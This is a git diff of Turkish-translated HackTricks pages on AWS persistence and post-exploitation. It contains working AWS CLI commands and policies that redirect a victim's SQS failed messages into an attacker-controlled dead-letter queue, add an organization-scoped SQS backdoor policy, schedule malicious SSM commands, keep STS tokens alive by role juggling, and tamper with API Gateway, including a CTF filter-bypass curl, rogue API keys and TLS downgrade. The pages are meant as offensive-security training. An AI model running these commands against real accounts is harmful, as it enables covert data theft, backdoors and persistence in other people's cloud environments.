ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Çalıştırma (hedef hesaptaki ele geçirilmiş principal olarak çalıştır):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Hızlandırma (isteğe bağlı):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Doğrulama:
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Örnek kanıt (Öznitelikler arasında DeadLetterQueueSourceArn bulunur):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Hesaplar Arası Varyant (byQueue)
|
||||
attacker DLQ üzerinde RedriveAllowPolicy'yi yalnızca belirli victim source queue ARNs'ine izin verecek şekilde ayarlayın:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Etki
|
||||
- Kurban SQS kaynak kuyruğundaki başarısız mesajları otomatik olarak saldırgan kontrolündeki DLQ'ye yönlendirerek, minimal operasyonel gürültüyle ve producers veya Lambda eşlemelerinde hiçbir değişiklik yapmadan sinsi, kalıcı veri sızdırma/kalıcılığı sağlar.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
aws:PrincipalOrgID koşulunu kullanarak bir SQS queue resource policy'sini suistimal edip hedef bir AWS Organization'a ait herhangi bir principal'e Send, Receive ve ChangeMessageVisibility izinlerini sessizce verin. Bu, genellikle yalnızca açık hesap veya role ARNs veya star principals arayan kontrollerden kaçan organizasyon düzeyinde gizli bir yol oluşturur.
|
||||
|
||||
### Backdoor policy (SQS queue policy'ye ekleyin)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Adımlar
|
||||
- AWS Organizations API ile Organization ID'yi edinin.
|
||||
- SQS kuyruğunun ARN'sini alın ve yukarıdaki statement'ı içerecek şekilde kuyruğun politikasını ayarlayın.
|
||||
- Bahsi geçen Organization'a ait herhangi bir principal'dan kuyruğa mesaj gönderip alarak erişimi doğrulayın.
|
||||
|
||||
### Etki
|
||||
- Belirtilen AWS Organization içindeki herhangi bir account tarafından SQS mesajlarının okunması ve yazılmasına yönelik Organization genelinde gizli erişim.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Süreklilik için ssm:CreateAssociation kullanma
|
||||
|
||||
**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak yürütmek için bir State Manager Association oluşturabilir. Bu ilişkiler, etkileşimli oturumlar olmadan arka kapı benzeri süreklilik sağlamak için sabit bir aralıkta çalışacak şekilde yapılandırılabilir.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bu kalıcılık yöntemi, EC2 örneği Systems Manager tarafından yönetildiği, SSM ajanı çalıştığı ve saldırganın ilişkilendirmeler oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örneğin, `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığını dikkate almalıdır. Anlık veya tek seferlik yürütme için `--schedule-expression` tamamen hariç tutulmalıdır — ilişkilendirme oluşturulduktan sonra bir kez yürütülecektir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Kalıcılık
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### ssm:CreateAssociation ile kalıcılık
|
||||
|
||||
**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 instance'larında komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu State Manager Association'lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık için uygun hale getirir.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bu persistence yöntemi, EC2 instance'ı Systems Manager tarafından yönetildiği, SSM agent çalışır durumda olduğu ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örn., `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığına uymalıdır. Hemen veya tek seferlik çalıştırma için `--schedule-expression` parametresini tamamen kaldırın — association oluşturulduktan sonra bir kez çalıştırılacaktır.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Step Functions Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step Function Arka Kapı Oluşturma
|
||||
|
||||
Bir step function'ı arka kapı ile değiştirerek, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
|
||||
|
||||
### Arka Kapı Oluşturma Takma Adları
|
||||
|
||||
Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, step function'ın yeni arka kapılı versiyonunu kullanmak için bir takma adı değiştirmek mümkün olacaktır.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Bir step function'ı backdoor ederek, her çalıştırıldığında persistence amaçlı herhangi bir hileyi gerçekleştirip kötü amaçlı adımlarınızı çalıştırmasını sağlayabilirsiniz.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Eğer AWS hesabı step functions'ı çağırmak için aliases kullanıyorsa, bir alias'ı değiştirerek step function'ın yeni backdoored bir sürümünü kullanmasını sağlamak mümkün olabilir.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+15
-15
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Sürekliliği
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Daha fazla bilgi için erişin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rol üstlenme tokeni
|
||||
### Assume role token
|
||||
|
||||
Geçici tokenler listelenemez, bu nedenle aktif bir geçici tokeni sürdürmek, sürekliliği sağlamak için bir yoldur.
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# MFA ile
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Donanım cihazı adı genellikle cihazın arkasındaki numaradır, örneğin GAHT12345678
|
||||
<strong># SMS cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:sms-mfa/kullanıcı adı
|
||||
</strong># Sanal cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:mfa/kullanıcı adı
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Rol Zinciri Oynama
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle stealth persistence'ı sürdürmek için kullanılır. Bu, **assume a role which then assumes another** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **cyclical manner** içinde geri dönebilir. Her rol assume edildiğinde, kimlik bilgilerine ait expiration alanı yenilenir. Sonuç olarak, eğer iki rol birbirlerini karşılıklı olarak assume edecek şekilde yapılandırılırsa, bu yapı credentials'ın sürekli yenilenmesine imkan verir.
|
||||
|
||||
Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz:
|
||||
Role chaining'i sürdürmek için bu [**tool**](https://github.com/hotnops/AWSRoleJuggler/) kullanılabilir:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -44,7 +44,7 @@ optional arguments:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>PowerShell'den Rol Juggling yapmak için Kod</summary>
|
||||
<summary>PowerShell üzerinden Role Juggling gerçekleştirmek için kod</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Açık Olmayan API'lere Erişim
|
||||
|
||||
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktanın erişiminizin olduğu bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\
|
||||
Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz.
|
||||
|
||||
### İstek Gövdesi Geçişini Atlatma
|
||||
|
||||
Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu.
|
||||
|
||||
[**AWS belgelerinde**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir.
|
||||
|
||||
Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir.
|
||||
|
||||
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdeye sorguyu koyarak ve `X-HTTP-Method-Override: GET` başlığını kullanarak sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Kullanım Planları DoS
|
||||
|
||||
**Enumeration** bölümünde anahtarların **kullanım planını nasıl elde edeceğinizi** görebilirsiniz. Eğer anahtarınız varsa ve bu anahtar **aylık X kullanım ile sınırlıysa**, **onu kullanarak bir DoS oluşturabilirsiniz**.
|
||||
|
||||
**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığı** içine **eklenmelidir**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateGatewayResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **özel başlıklar veya hassas bilgileri sızdıran ya da kötü niyetli betikleri çalıştıran yanıt şablonları içerecek şekilde mevcut bir Gateway Yanıtını değiştirebilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateStage` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway aşamasını trafiği farklı bir aşamaya yönlendirecek şekilde değiştirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim elde edebilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya engelleme.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway REST API yönteminin yöntem yanıtını, hassas bilgileri sızdıran veya kötü niyetli betikleri çalıştıran özel başlıklar veya yanıt şablonları içerecek şekilde değiştirebilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **API Gateway REST API ayarlarını güncelleyerek günlüklemeyi devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir, bu da API'nin güvenliğini zayıflatabilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` ve `apigateway:CreateUsagePlanKey` izinlerine sahip bir saldırgan **yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve ardından bu anahtarları API'lere yetkisiz erişim için kullanabilir**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potansiyel Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması.
|
||||
|
||||
> [!NOT]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+132
@@ -0,0 +1,132 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dışa açılmamış API'lere erişim
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### İstek gövdesi passthrough'unu atlatma
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi atlatır.
|
||||
|
||||
Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiği için, sorguyu gövdeye koyup `X-HTTP-Method-Override: GET` başlığını kullanarak bir POST isteği gönderip sınırlama olmaksızın bir dynamoDB sorgusu çalıştırmak mümkündü:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Kullanım Planları DoS
|
||||
|
||||
**Enumeration** bölümünde anahtarların kullanım planını nasıl **elde edebileceğinizi** görebilirsiniz. Anahtara sahipseniz ve bu anahtar **sınırlandırılmış** olarak **ayda** X kullanım hakkına sahipse, onu **sadece kullanarak bir DoS oluşturabilirsiniz**.
|
||||
|
||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
apigateway:UpdateGatewayResponse ve apigateway:CreateDeployment izinlerine sahip bir saldırgan, mevcut bir Gateway Response'u **özelleştirilmiş header'lar veya response template'leri ekleyecek şekilde değiştirebilir; bunlar hassas bilgileri leak edebilir veya kötü amaçlı script'leri çalıştırabilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Olası Etki**: Leakage of sensitive information, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına izinsiz erişim.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Bu izinlere (`apigateway:UpdateStage` ve `apigateway:CreateDeployment`) sahip bir saldırgan **mevcut bir API Gateway stage'ini değiştirerek trafiği farklı bir stage'e yönlendirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere izinsiz erişim sağlayabilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini aksatma veya ele geçirme.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, mevcut bir API Gateway REST API yönteminin method response'unu değiştirip custom headers veya response templates ekleyerek hassas bilgileri leak edebilir veya execute malicious scripts çalıştırabilir.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Olası Etki**: Hassas bilgilerin sızması, kötü amaçlı betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim.
|
||||
|
||||
> [!NOTE]
|
||||
> Test edilmesi gerekiyor
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Bir saldırgan, `apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahipse **API Gateway REST API ayarlarını değiştirerek logging'i devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir; bu da API'nin güvenliğini zayıflatabilir**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
